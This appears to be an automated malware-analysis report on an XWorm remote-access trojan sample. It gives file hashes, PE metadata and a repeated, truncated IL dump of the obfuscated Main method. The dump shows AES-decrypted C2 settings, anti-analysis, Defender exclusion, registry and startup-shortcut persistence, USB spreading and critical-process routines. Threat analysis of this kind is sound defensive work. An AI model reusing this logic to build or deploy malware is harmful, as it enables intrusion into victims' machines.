Symbol Obfuscation Score
|
Hash | Hash Value |
|---|---|
| MD5 | 783e1ed2786f3501d3c7019c1a315709
|
| Sha1 | 58b113114bf9ffba8bb7d07f2d15d2b452a32f92
|
| Sha256 | 8bc544386ccb4eb630c4b8df83be99b28e8c0f1b45a17126178bcfb25ea668a6
|
| Sha384 | 3a1f134925c0c888103a13fb731e06b1d411d32a6f0df2dd0f3ef46368dafe939435950f98e42ed26eeb3bbc1b80dedf
|
| Sha512 | 35e75839564f0bfce4d800a55f8782ffe5933517899b3f534c258d37022c28086c1101a3a73cce0cff09d7b2de93513527906fd424268038282e8d08e3341637
|
| SSDeep | 3072:h7uuDoPtXWUuLtrkcq5MllnMCNFb0fsE6X3Jt:l+PRSLtTq54nMKb0EdJ
|
| TLSH | 65C35A4EF7459A84C35C6E778463504CE2E9DAA77C27F73F39C81EE19C23889858BA50
|
PeID
|
Config. Field0 | Value |
|---|---|
| family | xworm |
|
Name0 | Value |
|---|---|
| Info | PE Detect: PeReader OK (file layout) |
| Module Name | XWormClient.exe |
| Full Name | XWormClient.exe |
| EntryPoint | System.Void Stub.Main::Main() |
| Scope Name | XWormClient.exe |
| Scope Type | ModuleDef |
| Kind | Windows |
| Runtime Version | v4.0.30319 |
| Tables Header Version | 512 |
| WinMD Version | <null> |
| Assembly Name | XWormClient |
| Assembly Version | 1.0.0.0 |
| Assembly Culture | <null> |
| Has PublicKey | False |
| PublicKey Token | <null> |
| Target Framework | <null> |
| Total Strings | 0 |
| Main Method | System.Void Stub.Main::Main() |
| Main IL Instruction Count | 643 |
| Main IL | ldsfld System.Char[] Stub.Uninstaller::Ⴀ stloc.s V_36 ldsfld System.Int32 Settings::Sleep ldc.i4 1000 mul.ovf <null> ldc.i4 520 ldc.i4 524 call System.Void Stub.Messages/ႭႰ::Ⴍ(System.Int32,System.Int16,System.Int16) ldc.i4.3 <null> stloc.s V_21 ldloc.s V_21 switch dnlib.DotNet.Emit.Instruction[] ldsfld System.String Settings::Hosts call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 478 ldc.i4 455 call System.String Stub.Messages/ႭႰ::ႥႤ<System.Object>(System.Object,System.Int32,System.Int16) stsfld System.String Settings::Hosts ldsfld System.String Settings::Port call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4.s 96 ldc.i4.s 121 call System.String Stub.Messages/ႭႰ::ႥႤ<System.Object>(System.Object,System.Int32,System.Int16) stsfld System.String Settings::Port ldc.i4.4 <null> stloc.s V_21 br.s IL_0024: ldloc.s V_21 ldsfld System.String Settings::KEY call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 401 ldc.i4 392 call System.String Stub.Messages/ႭႰ::ႥႤ<System.Object>(System.Object,System.Int32,System.Int16) stsfld System.String Settings::KEY ldsfld System.String Settings::SPL call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4.s 43 ldc.i4.s 50 call System.String Stub.Messages/ႭႰ::ႥႤ<System.Object>(System.Object,System.Int32,System.Int16) stsfld System.String Settings::SPL ldc.i4.0 <null> stloc.s V_21 br IL_0024: ldloc.s V_21 ldsfld System.String Settings::Groub call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 469 ldc.i4 460 call System.String Stub.Messages/ႭႰ::ႥႤ<System.Object>(System.Object,System.Int32,System.Int16) stsfld System.String Settings::Groub ldsfld System.String Settings::USBNM call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 183 ldc.i4 174 call System.String Stub.Messages/ႭႰ::ႥႤ<System.Object>(System.Object,System.Int32,System.Int16) stsfld System.String Settings::USBNM ldc.i4.8 <null> stloc.s V_21 br IL_0024: ldloc.s V_21 ldsfld System.String Settings::InstallDir call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 816 ldc.i4 809 call System.String Stub.Messages/ႭႰ::ႥႤ<System.Object>(System.Object,System.Int32,System.Int16) ldc.i4 550 ldc.i4 534 call System.String Stub.Messages::Ⴃ<System.String>(System.String,System.Int32,System.Int32) stsfld System.String Settings::InstallDir ldc.i4.1 <null> stloc.s V_21 br IL_0024: ldloc.s V_21 ldsfld System.String Settings::InstallStr call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 876 ldc.i4 885 call System.String Stub.Messages/ႭႰ::ႥႤ<System.Object>(System.Object,System.Int32,System.Int16) stsfld System.String Settings::InstallStr leave.s IL_018D: ldc.i4.4 dup <null> ldc.i4.s 17 ldc.i4.s 82 call System.Void Stub.Messages/ႭႰ::Ⴈ<System.Exception>(System.Exception,System.Int16,System.Char) stloc.3 <null> ldc.i4.0 <null> ldc.i4 726 ldc.i4 723 call System.Void Stub.Messages/ႭႰ::Ⴍ(System.Int32,System.Int16,System.Int16) ldc.i4 583 ldc.i4 550 call System.Void Stub.Messages::Ⴄ(System.Int32,System.Char) leave.s IL_018D: ldc.i4.4 ldc.i4.4 <null> stloc.s V_23 ldloc.s V_23 switch dnlib.DotNet.Emit.Instruction[] call System.Boolean Ⴓ.Ⴈ::Ⴍ() brtrue.s IL_01CB: ldc.i4.0 ldc.i4.1 <null> stloc.s V_23 br.s IL_0190: ldloc.s V_23 ldc.i4.0 <null> ldc.i4 777 ldc.i4 780 call System.Void Stub.Messages/ႭႰ::Ⴍ(System.Int32,System.Int16,System.Int16) ldc.i4.0 <null> stloc.s V_25 ldloc.s V_25 switch dnlib.DotNet.Emit.Instruction[] call System.Void Stub.Main::RunAntiAnalysis() leave.s IL_020D: ldc.i4.1 dup <null> ldc.i4.s 36 ldc.i4.s 103 call System.Void Stub.Messages/ႭႰ::Ⴈ<System.Exception>(System.Exception,System.Int16,System.Char) stloc.s V_4 ldc.i4 834 ldc.i4 803 call System.Void Stub.Messages::Ⴄ(System.Int32,System.Char) leave.s IL_020D: ldc.i4.1 ldc.i4.1 <null> stloc.s V_27 ldloc.s V_27 switch dnlib.DotNet.Emit.Instruction[] call System.Void Stub.Main::Exclusion() ldsfld System.String Settings::InstallDir ldc.i4.3 <null> ldc.i8 4 ldc.i4 1711526534 ldc.i4.3 <null> call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32) ldsfld System.String Settings::InstallStr ldc.i4 199 ldc.i4 217 call System.String My.MyComputer::ႤႷ<System.String,System.String,System.String>(System.String,System.String,System.String,System.Char,System.Int32) stloc.0 <null> ldc.i4.5 <null> stloc.s V_29 ldloc.s V_29 switch dnlib.DotNet.Emit.Instruction[] ldloc.0 <null> isinst System.String newobj System.Void System.IO.FileInfo::.ctor(System.String) ldc.i4 662 ldc.i4 762 call System.IO.DirectoryInfo My.MyComputer::ႷႨ<System.IO.FileInfo>(System.IO.FileInfo,System.Char,System.Char) ldc.i4 378 ldc.i4 328 call System.String Stub.USB::ႨႨ<System.IO.DirectoryInfo>(System.IO.DirectoryInfo,System.Int32,System.Char) stloc.s V_5 ldc.i4.4 <null> stloc.s V_29 br.s IL_0262: ldloc.s V_29 ldloc.s V_5 ldc.i4 664 ldc.i4 641 call System.String Stub.Messages/ႭႰ::ႥႤ<System.Object>(System.Object,System.Int32,System.Int16) ldc.i4 156 ldc.i4 144 call System.Boolean Stub.Main::ႰႭ<System.String>(System.String,System.Int32,System.Int32) brtrue.s IL_02EB: ldc.i4.3 ldc.i4.8 <null> stloc.s V_29 br IL_0262: ldloc.s V_29 ldc.i4.3 <null> br.s IL_02E4: stloc.s V_29 ldloc.s V_5 ldc.i4 413 ldc.i4 388 call System.String Stub.Messages/ႭႰ::ႥႤ<System.Object>(System.Object,System.Int32,System.Int16) ldc.i4 266 ldc.i4 293 call System.IO.DirectoryInfo Stub.USB::ႨႷ<System.String>(System.String,System.Int16,System.Int32) pop <null> ldc.i4.3 <null> stloc.s V_29 br IL_0262: ldloc.s V_29 ldloc.0 <null> castclass System.String ldc.i4 180 ldc.i4 189 call System.Boolean Stub.Main::ႰႭ<System.String>(System.String,System.Int32,System.Int32) brfalse.s IL_0337: ldc.i4.7 ldc.i4.s 9 stloc.s V_29 br IL_0262: ldloc.s V_29 ldc.i4.7 <null> br.s IL_0330: stloc.s V_29 ldloc.0 <null> castclass System.String newobj System.Void System.IO.FileInfo::.ctor(System.String) stloc.s V_6 ldloc.s V_6 castclass System.IO.FileInfo ldc.i4 131 ldc.i4 166 call System.Void My.MyComputer::ႷႣ<System.IO.FileInfo>(System.IO.FileInfo,System.Int16,System.Char) ldc.i4 1000 ldc.i4.s 84 ldc.i4.s 80 call System.Void Stub.Messages/ႭႰ::Ⴍ(System.Int32,System.Int16,System.Int16) ldloc.0 <null> castclass System.String ldsfld System.String Ⴓ.Ⴈ::Ⴃ ldc.i4 397 ldc.i4 452 call System.Byte[] Stub.Main::ႰႷ<System.String>(System.String,System.Int16,System.Char) ldc.i4 401 ldc.i4 407 call System.Void Stub.ProcessCritical::ႣႨ<System.String>(System.String,System.Byte[],System.Int16,System.Int16) leave.s IL_03B3: ldc.i4.0 dup <null> ldc.i4.s 83 ldc.i4.s 16 call System.Void Stub.Messages/ႭႰ::Ⴈ<System.Exception>(System.Exception,System.Int16,System.Char) stloc.s V_7 ldc.i4 981 ldc.i4 948 call System.Void Stub.Messages::Ⴄ(System.Int32,System.Char) leave.s IL_03B3: ldc.i4.0 ldc.i4.0 <null> stloc.s V_31 ldloc.s V_31 switch dnlib.DotNet.Emit.Instruction[] ldc.i4.s 23 ldc.i8 4 ldc.i4 1711529791 ldc.i4.0 <null> call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32) newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String) stloc.s V_9 ldloc.s V_9 castclass System.Diagnostics.ProcessStartInfo ldc.i4.1 <null> ldc.i4 642 ldc.i4 727 call System.Void My.MyComputer::ႤႭ<System.Diagnostics.ProcessStartInfo>(System.Diagnostics.ProcessStartInfo,System.Diagnostics.ProcessWindowStyle,System.Int32,System.Int16) ldc.i4.3 <null> stloc.s V_31 br.s IL_03B6: ldloc.s V_31 call System.String Stub.ClientSocket::UAC() ldc.i4 626 ldc.i4 639 call System.Boolean Stub.Main::ႰႭ<System.String>(System.String,System.Int32,System.Int32) brfalse.s IL_0438: ldc.i4.7 ldc.i4.8 <null> stloc.s V_31 br IL_03B6: ldloc.s V_31 ldc.i4.7 <null> br.s IL_0431: stloc.s V_31 ldloc.s V_9 isinst System.Diagnostics.ProcessStartInfo ldc.i4.5 <null> newarr System.String stloc.s V_14 ldloc.s V_14 castclass System.String[] ldc.i4.0 <null> ldc.i4.s 13 ldc.i8 15 ldc.i4 1711529778 ldc.i4.2 <null> call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32) stelem.ref <null> ldloc.s V_14 isinst System.String[] ldc.i4.1 <null> ldsfld System.String Settings::InstallStr ldc.i4.s 24 ldc.i4.s 53 call System.String Stub.Messages::Ⴃ<System.String>(System.String,System.Int32,System.Int32) stelem.ref <null> ldloc.s V_14 castclass System.String[] ldc.i4.2 <null> ldc.i4.s 18 ldc.i8 1 ldc.i4 1711529796 ldc.i4.4 <null> call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32) stelem.ref <null> ldloc.s V_14 isinst System.String[] ldc.i4.3 <null> ldloc.0 <null> castclass System.String stelem.ref <null> ldloc.s V_14 castclass System.String[] ldc.i4.4 <null> ldc.i4.s 12 ldc.i8 13 ldc.i4 1711526805 ldc.i4.5 <null> call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32) stelem.ref <null> ldloc.s V_14 isinst System.String[] ldc.i4 252 ldc.i4 239 call System.String My.MyApplication::ႥႨ(System.String[],System.Int32,System.Char) ldc.i4 156 ldc.i4 186 call System.Void My.MyComputer::ႤႠ<System.String,System.Diagnostics.ProcessStartInfo>(System.Diagnostics.ProcessStartInfo,System.String,System.Int16,System.Int32) ldc.i4.2 <null> stloc.s V_31 br IL_03B6: ldloc.s V_31 ldloc.s V_9 castclass System.Diagnostics.ProcessStartInfo ldc.i4.5 <null> newarr System.String stloc.s V_14 ldloc.s V_14 castclass System.String[] ldc.i4.0 <null> ldc.i4.s 24 ldc.i8 2 ldc.i4 1711529840 ldc.i4.6 <null> call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32) stelem.ref <null> ldloc.s V_14 isinst System.String[] ldc.i4.1 <null> ldsfld System.String Settings::InstallStr ldc.i4 254 ldc.i4 211 call System.String Stub.Messages::Ⴃ<System.String>(System.String,System.Int32,System.Int32) stelem.ref <null> ldloc.s V_14 castclass System.String[] ldc.i4.2 <null> ldc.i4.s 14 ldc.i8 13 ldc.i4 1711529799 ldc.i4.7 <null> call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32) stelem.ref <null> ldloc.s V_14 isinst System.String[] ldc.i4.3 <null> ldloc.0 <null> castclass System.String stelem.ref <null> ldloc.s V_14 castclass System.String[] ldc.i4.4 <null> ldc.i4.s 13 ldc.i8 14 ldc.i4 1711526806 ldc.i4.6 <null> call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32) stelem.ref <null> ldloc.s V_14 castclass System.String[] ldc.i4 981 ldc.i4 966 call System.String My.MyApplication::ႥႨ(System.String[],System.Int32,System.Char) ldc.i4 570 ldc.i4 540 call System.Void My.MyComputer::ႤႠ<System.String,System.Diagnostics.ProcessStartInfo>(System.Diagnostics.ProcessStartInfo,System.String,System.Int16,System.Int32) ldloc.s V_9 isinst System.Diagnostics.ProcessStartInfo ldc.i4 154 ldc.i4 136 call System.Diagnostics.Process Stub.Messages/ႭႰ::ႥႭ<System.Diagnostics.ProcessStartInfo>(System.Diagnostics.ProcessStartInfo,System.Int32,System.Int16) stloc.s V_8 ldloc.s V_8 isinst System.Diagnostics.Process ldc.i4 1009 ldc.i4 965 call System.Void My.MyComputer::ႷႥ<System.Diagnostics.Process>(System.Diagnostics.Process,System.Char,System.Int16) leave.s IL_060A: ldc.i4.1 dup <null> ldc.i4 230 ldc.i4 165 call System.Void Stub.Messages/ႭႰ::Ⴈ<System.Exception>(System.Exception,System.Int16,System.Char) stloc.s V_10 ldc.i4 970 ldc.i4 939 call System.Void Stub.Messages::Ⴄ(System.Int32,System.Char) leave.s IL_060A: ldc.i4.1 ldc.i4.1 <null> stloc.s V_33 ldloc.s V_33 switch dnlib.DotNet.Emit.Instruction[] call My.MyComputer My.MyProject::Ⴀ() ldc.i4 886 ldc.i4 895 call Microsoft.VisualBasic.MyServices.RegistryProxy My.MyComputer::ႤႥ<Microsoft.VisualBasic.Devices.ServerComputer>(Microsoft.VisualBasic.Devices.ServerComputer,System.Char,System.Char) ldc.i4 684 ldc.i4 763 call Microsoft.Win32.RegistryKey Stub.Messages/ႭႰ::ႥႥ<Microsoft.VisualBasic.MyServices.RegistryProxy>(Microsoft.VisualBasic.MyServices.RegistryProxy,System.Int32,System.Int32) ldc.i4.2 <null> ldc.i8 15 ldc.i4 1711526488 ldc.i4.7 <null> call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32) ldc.i4.1 <null> ldc.i4 544 ldc.i4 565 call Microsoft.Win32.RegistryKey My.MyComputer::ႤႰ<System.String,Microsoft.Win32.RegistryKey>(Microsoft.Win32.RegistryKey,System.String,System.Boolean,System.Char,System.Char) ldsfld System.String Settings::InstallStr ldc.i4 612 ldc.i4 585 call System.String Stub.Messages::Ⴃ<System.String>(System.String,System.Int32,System.Int32) ldloc.0 <null> isinst System.String ldc.i4 145 ldc.i4 146 call System.Void My.MyApplication::Ⴄ<System.String,Microsoft.Win32.RegistryKey,System.Object>(Microsoft.Win32.RegistryKey,System.String,System.Object,System.Int32,System.Char) leave.s IL_06B1: ldc.i4.6 dup <null> ldc.i4.s 68 ldc.i4.7 <null> call System.Void Stub.Messages/ႭႰ::Ⴈ<System.Exception>(System.Exception,System.Int16,System.Char) stloc.s V_11 ldc.i4.s 38 ldc.i4.s 71 call System.Void Stub.Messages::Ⴄ(System.Int32,System.Char) leave.s IL_06B1: ldc.i4.6 ldc.i4.6 <null> stloc.s V_35 ldloc.s V_35 switch dnlib.DotNet.Emit.Instruction[] ldc.i4.7 <null> ldc.i4 984 ldc.i4 996 call System.String My.MyComputer::ႤႼ(System.Environment/SpecialFolder,System.Int16,System.Char) ldc.i4.6 <null> ldc.i8 12 ldc.i4 1711526533 ldc.i4.0 <null> call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32) ldsfld System.String Settings::InstallStr ldc.i4.s 81 ldc.i4.s 124 call System.String Stub.Messages::Ⴃ<System.String>(System.String,System.Int32,System.Int32) ldc.i4.s 17 ldc.i8 6 ldc.i4 1711527338 ldc.i4.2 <null> call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32) ldc.i4 772 ldc.i4 852 call System.String My.MyApplication::ႥႰ<System.String,System.String,System.String,System.String>(System.String,System.String,System.String,System.String,System.Int16,System.Char) stloc.s V_12 ldloc.s V_36 ldc.i4.6 <null> ldelem.u2 <null> ldc.i4 61173 sub <null> stloc.s V_35 br IL_06B4: ldloc.s V_35 ldc.i4.s 24 ldc.i8 8 ldc.i4 1711529105 ldc.i4.3 <null> call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32) ldc.i4.s 9 ldc.i8 14 ldc.i4 1711527904 ldc.i4.4 <null> call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32) call System.Object Microsoft.VisualBasic.Interaction::CreateObject(System.String,System.String) ldnull <null> ldc.i4.7 <null> ldc.i8 2 ldc.i4 1711527331 ldc.i4.2 <null> call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32) ldc.i4.1 <null> newarr System.Object stloc.s V_15 ldloc.s V_15 isinst System.Object[] ldc.i4.0 <null> ldloc.s V_12 castclass System.String stelem.ref <null> ldloc.s V_15 castclass System.Object[] stloc.s V_16 ldloc.s V_16 castclass System.Object[] ldnull <null> ldnull <null> ldc.i4.1 <null> newarr System.Boolean stloc.s V_17 ldloc.s V_17 isinst System.Boolean[] ldc.i4.0 <null> ldc.i4.1 <null> stelem.i1 <null> ldloc.s V_17 isinst System.Boolean[] call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateGet(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[]) ldloc.s V_17 castclass System.Boolean[] ldc.i4.0 <null> ldelem.i1 <null> brfalse.s IL_0808: stloc.s V_18 ldloc.s V_16 isinst System.Object[] ldc.i4.0 <null> ldelem.ref <null> call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object) ldtoken System.String call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle) call System.Object Microsoft.VisualBasic.CompilerServices.Conversions::ChangeType(System.Object,System.Type) castclass System.String stloc.s V_12 stloc.s V_18 ldloc.s V_18 ldnull <null> ldc.i4.s 16 ldc.i8 8 ldc.i4 1711527363 ldc.i4.1 <null> call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32) ldc.i4.1 <null> newarr System.Object stloc.s V_19 ldloc.s V_19 castclass System.Object[] ldc.i4.0 <null> ldloc.0 <null> castclass System.String stelem.ref <null> ldloc.s V_19 isinst System.Object[] ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldc.i4.2 <null> stloc.s V_35 br IL_06B4: ldloc.s V_35 ldloc.s V_18 ldnull <null> ldc.i4.s 9 ldc.i8 8 ldc.i4 1711527402 ldc.i4.1 <null> call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32) ldc.i4.1 <null> newarr System.Object stloc.s V_19 ldloc.s V_19 isinst System.Object[] ldc.i4.0 <null> ldc.i4.4 <null> ldc.i8 3 ldc.i4 1711527910 ldc.i4.2 <null> call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32) stelem.ref <null> ldloc.s V_19 isinst System.Object[] ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldc.i4.8 <null> stloc.s V_35 br IL_06B4: ldloc.s V_35 ldloc.s V_18 ldnull <null> ldc.i4.s 11 ldc.i8 2 ldc.i4 1711526606 ldc.i4.1 <null> call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32) ldc.i4.0 <null> newarr System.Object ldnull <null> ldnull <null> ldnull <null> ldc.i4.1 <null> call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean) pop <null> ldc.i4.3 <null> stloc.s V_35 br IL_06B4: ldloc.s V_35 ldnull <null> stloc.s V_18 ldloc.s V_12 isinst System.String ldc.i4.3 <null> newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode) stsfld System.IO.FileStream Ⴓ.Ⴈ::Ⴃ leave.s IL_0900: ldc.i4.6 dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_13 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0900: ldc.i4.6 ldc.i4.6 <null> stloc.s V_38 ldloc.s V_38 switch dnlib.DotNet.Emit.Instruction[] call System.Void Stub.USB::USBStart() call System.Void Ⴓ.Ⴈ::Ⴐ() ldnull <null> ldftn System.Void Stub.Main::_Lambda$__1() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) callvirt System.Void System.Threading.Thread::Start() call System.String Stub.ClientSocket::UAC() call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String) brfalse.s IL_095B: ldc.i4.5 ldc.i4.7 <null> stloc.s V_38 br.s IL_0903: ldloc.s V_38 ldc.i4.5 <null> br.s IL_0957: stloc.s V_38 call System.Void Stub.ProcessCritical::CriticalProcess_Enable() ldnull <null> ldftn System.Void Stub.Main::_Lambda$__2() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.1 <null> ldnull <null> ldftn System.Void Stub.Main::_Lambda$__3() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.2 <null> ldc.i4.4 <null> stloc.s V_38 br IL_0903: ldloc.s V_38 ldloc.1 <null> castclass System.Threading.Thread callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> castclass System.Threading.Thread callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> castclass System.Threading.Thread callvirt System.Void System.Threading.Thread::Join() ret <null> ldtoken System.Void Stub.Main::Main() pop <null> ret <null> |
| Module Name | XWormClient.exe |
| Full Name | XWormClient.exe |
| EntryPoint | System.Void Stub.Main::Main() |
| Scope Name | XWormClient.exe |
| Scope Type | ModuleDef |
| Kind | Windows |
| Runtime Version | v4.0.30319 |
| Tables Header Version | 512 |
| WinMD Version | <null> |
| Assembly Name | XWormClient |
| Assembly Version | 1.0.0.0 |
| Assembly Culture | <null> |
| Has PublicKey | False |
| PublicKey Token | <null> |
| Target Framework | <null> |
| Total Strings | 0 |
| Main Method | System.Void Stub.Main::Main() |
| Main IL Instruction Count | 643 |
| Main IL | ldsfld System.Char[] Stub.Uninstaller::Ⴀ stloc.s V_36 ldsfld System.Int32 Settings::Sleep ldc.i4 1000 mul.ovf <null> ldc.i4 520 ldc.i4 524 call System.Void Stub.Messages/ႭႰ::Ⴍ(System.Int32,System.Int16,System.Int16) ldc.i4.3 <null> stloc.s V_21 ldloc.s V_21 switch dnlib.DotNet.Emit.Instruction[] ldsfld System.String Settings::Hosts call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 478 ldc.i4 455 call System.String Stub.Messages/ႭႰ::ႥႤ<System.Object>(System.Object,System.Int32,System.Int16) stsfld System.String Settings::Hosts ldsfld System.String Settings::Port call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4.s 96 ldc.i4.s 121 call System.String Stub.Messages/ႭႰ::ႥႤ<System.Object>(System.Object,System.Int32,System.Int16) stsfld System.String Settings::Port ldc.i4.4 <null> stloc.s V_21 br.s IL_0024: ldloc.s V_21 ldsfld System.String Settings::KEY call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 401 ldc.i4 392 call System.String Stub.Messages/ႭႰ::ႥႤ<System.Object>(System.Object,System.Int32,System.Int16) stsfld System.String Settings::KEY ldsfld System.String Settings::SPL call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4.s 43 ldc.i4.s 50 call System.String Stub.Messages/ႭႰ::ႥႤ<System.Object>(System.Object,System.Int32,System.Int16) stsfld System.String Settings::SPL ldc.i4.0 <null> stloc.s V_21 br IL_0024: ldloc.s V_21 ldsfld System.String Settings::Groub call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 469 ldc.i4 460 call System.String Stub.Messages/ႭႰ::ႥႤ<System.Object>(System.Object,System.Int32,System.Int16) stsfld System.String Settings::Groub ldsfld System.String Settings::USBNM call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 183 ldc.i4 174 call System.String Stub.Messages/ႭႰ::ႥႤ<System.Object>(System.Object,System.Int32,System.Int16) stsfld System.String Settings::USBNM ldc.i4.8 <null> stloc.s V_21 br IL_0024: ldloc.s V_21 ldsfld System.String Settings::InstallDir call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 816 ldc.i4 809 call System.String Stub.Messages/ႭႰ::ႥႤ<System.Object>(System.Object,System.Int32,System.Int16) ldc.i4 550 ldc.i4 534 call System.String Stub.Messages::Ⴃ<System.String>(System.String,System.Int32,System.Int32) stsfld System.String Settings::InstallDir ldc.i4.1 <null> stloc.s V_21 br IL_0024: ldloc.s V_21 ldsfld System.String Settings::InstallStr call System.Object Stub.AlgorithmAES::Decrypt(System.String) ldc.i4 876 ldc.i4 885 call System.String Stub.Messages/ႭႰ::ႥႤ<System.Object>(System.Object,System.Int32,System.Int16) stsfld System.String Settings::InstallStr leave.s IL_018D: ldc.i4.4 dup <null> ldc.i4.s 17 ldc.i4.s 82 call System.Void Stub.Messages/ႭႰ::Ⴈ<System.Exception>(System.Exception,System.Int16,System.Char) stloc.3 <null> ldc.i4.0 <null> ldc.i4 726 ldc.i4 723 call System.Void Stub.Messages/ႭႰ::Ⴍ(System.Int32,System.Int16,System.Int16) ldc.i4 583 ldc.i4 550 call System.Void Stub.Messages::Ⴄ(System.Int32,System.Char) leave.s IL_018D: ldc.i4.4 ldc.i4.4 <null> stloc.s V_23 ldloc.s V_23 switch dnlib.DotNet.Emit.Instruction[] call System.Boolean Ⴓ.Ⴈ::Ⴍ() brtrue.s IL_01CB: ldc.i4.0 ldc.i4.1 <null> stloc.s V_23 br.s IL_0190: ldloc.s V_23 ldc.i4.0 <null> ldc.i4 777 ldc.i4 780 call System.Void Stub.Messages/ႭႰ::Ⴍ(System.Int32,System.Int16,System.Int16) ldc.i4.0 <null> stloc.s V_25 ldloc.s V_25 switch dnlib.DotNet.Emit.Instruction[] call System.Void Stub.Main::RunAntiAnalysis() leave.s IL_020D: ldc.i4.1 dup <null> ldc.i4.s 36 ldc.i4.s 103 call System.Void Stub.Messages/ႭႰ::Ⴈ<System.Exception>(System.Exception,System.Int16,System.Char) stloc.s V_4 ldc.i4 834 ldc.i4 803 call System.Void Stub.Messages::Ⴄ(System.Int32,System.Char) leave.s IL_020D: ldc.i4.1 ldc.i4.1 <null> stloc.s V_27 ldloc.s V_27 switch dnlib.DotNet.Emit.Instruction[] call System.Void Stub.Main::Exclusion() ldsfld System.String Settings::InstallDir ldc.i4.3 <null> ldc.i8 4 ldc.i4 1711526534 ldc.i4.3 <null> call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32) ldsfld System.String Settings::InstallStr ldc.i4 199 ldc.i4 217 call System.String My.MyComputer::ႤႷ<System.String,System.String,System.String>(System.String,System.String,System.String,System.Char,System.Int32) stloc.0 <null> ldc.i4.5 <null> stloc.s V_29 ldloc.s V_29 switch dnlib.DotNet.Emit.Instruction[] ldloc.0 <null> isinst System.String newobj System.Void System.IO.FileInfo::.ctor(System.String) ldc.i4 662 ldc.i4 762 call System.IO.DirectoryInfo My.MyComputer::ႷႨ<System.IO.FileInfo>(System.IO.FileInfo,System.Char,System.Char) ldc.i4 378 ldc.i4 328 call System.String Stub.USB::ႨႨ<System.IO.DirectoryInfo>(System.IO.DirectoryInfo,System.Int32,System.Char) stloc.s V_5 ldc.i4.4 <null> stloc.s V_29 br.s IL_0262: ldloc.s V_29 ldloc.s V_5 ldc.i4 664 ldc.i4 641 call System.String Stub.Messages/ႭႰ::ႥႤ<System.Object>(System.Object,System.Int32,System.Int16) ldc.i4 156 ldc.i4 144 call System.Boolean Stub.Main::ႰႭ<System.String>(System.String,System.Int32,System.Int32) brtrue.s IL_02EB: ldc.i4.3 ldc.i4.8 <null> stloc.s V_29 br IL_0262: ldloc.s V_29 ldc.i4.3 